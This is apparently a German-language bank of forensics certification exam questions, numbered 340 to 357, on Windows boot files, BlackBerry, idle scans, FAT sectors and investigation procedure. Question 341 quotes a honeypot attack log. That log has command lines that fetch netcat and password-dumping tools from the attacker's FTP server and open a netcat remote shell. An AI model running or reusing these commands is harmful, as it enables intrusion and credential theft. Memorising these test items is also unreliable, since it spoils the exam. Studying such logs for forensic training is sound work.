FRAGE 340
Welche Datei wird am Ende eines Windows XP-Startvorgangs verarbeitet, um das Anmeldedialogfeld zu initialisieren?

FRAGE 341
Der folgende Auszug stammt aus einem Honeypot-Protokoll, das bei lab.wiretrip.net gehostet wurde. Snort meldete Unicode-Angriffe von 213.116.251.162. Die File Permission Canonicalization-Schwachstelle (UNICODE-Angriff) erlaubt es, Skripte in beliebigen Ordnern auszuführen, die normalerweise nicht das Recht haben, Skripte auszuführen. Der Angreifer versucht einen Unicode-Angriff und hat schließlich Erfolg beim Anzeigen der boot.ini.
Dann geht er dazu über, mit RDS zu spielen, und zwar über msadcs.dll. Die RDS-Schwachstelle ermöglicht es einem böswilligen Benutzer, SQL-Anweisungen zu erstellen, die Shell-Befehle (z. B. CMD.EXE) auf dem IIS-Server ausführen. Er führt eine kurze Abfrage durch, um festzustellen, dass das Verzeichnis existiert, und eine Abfrage an msadcs.dll zeigt, dass es korrekt funktioniert. Der Angreifer stellt eine RDS-Abfrage, die dazu führt, dass die Befehle wie unten gezeigt ausgeführt werden.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
Was können Sie aus der gegebenen Ausbeutung ableiten?

FRAGE 342
Office-Dokumente (Word, Excel, PowerPoint) enthalten einen Code, mit dem sich die MAC (eindeutige Kennung) des Rechners, der das Dokument erstellt hat, ermitteln lässt. Wie wird dieser Code genannt?

FRAGE 343
Alle Blackberry-E-Mails werden schließlich über welchen proprietären, von RIM betriebenen Mechanismus gesendet und empfangen?

FRAGE 344
Welcher der folgenden Befehle zeigt Ihnen alle Netzwerkdienste, die auf Windows-basierten Servern laufen?

FRAGE 345
Welches Cloud-Modell ermöglicht es einem Ermittler, die Instanz einer virtuellen Maschine zu übernehmen und den forensischen Untersuchungsprozess einzuleiten?

FRAGE 346
Ein "Leerlaufsystem" wird auch als was bezeichnet?

FRAGE 347
Welcher der folgenden Webbrowser verwendet das Extensible Storage Engine (ESE)-Datenbankformat zum Speichern von Browsing-Datensätzen, einschließlich Verlauf, Cache und Cookies?

FRAGE 348
Wie lautet der Name des ersten reservierten Sektors in der Dateizuordnungstabelle?

FRAGE 349
Bei der Einholung eines Haftbefehls ist es wichtig, dass:

FRAGE 350
Warum sind Linux/Unix-basierte Computer für Leerlauf-Scans besser geeignet als Windows-Computer?

FRAGE 351
Welches dieser Windows-Dienstprogramme hilft Ihnen, logische Dateisystemfehler zu reparieren?

FRAGE 352
Welche der folgenden Phasen des Linux-Boot-Prozesses beinhalten die Initialisierung der Systemhardware?

FRAGE 353
Welche Verschlüsselungstechnologie wird auf Blackberry-Geräten mit Password Keeper verwendet?

FRAGE 354
Cylie untersucht einen Netzwerkeinbruch in einer staatlichen Organisation in Florida. Sie stellt fest, dass die Eindringlinge sich Zugang zu den Firewalls des Unternehmens verschaffen konnten, indem sie diese mit IP-Paketen überlasteten. Cylie findet bei ihren Ermittlungen heraus, dass sich die Eindringlinge in das Telefonsystem des Unternehmens gehackt und die Festplatten der Telefonanlage zum Speichern gemeinsamer Musikdateien verwendet haben. Wie würde man diesen Angriff auf die Telefonanlage des Unternehmens nennen?

FRAGE 355
Was befindet sich in dem folgenden Verzeichnis? HKLMSECURITYPolicySecrets

FRAGE 356
Wenn der Computer eines Angreifers eine IPID von 31400 an einen Zombie-Computer auf einem offenen Port beim IDLE-Scannen sendet, was ist die Antwort?

FRAGE 357
Chris wurde gebeten, einen von einem seiner Kunden gemeldeten Hackerangriff zu untersuchen. Das Unternehmen vermutet, dass ein Insider-Komplize an dem Angriff beteiligt war. Am Ort des Geschehens angekommen, sichert Chris den Bereich ab und nimmt die Szene mit Hilfe von visuellen Medien auf. Er kennzeichnet alle Kabel und Stecker, bevor er sie abzieht. Was wäre Ihrer Meinung nach die nächste Folge von Ereignissen?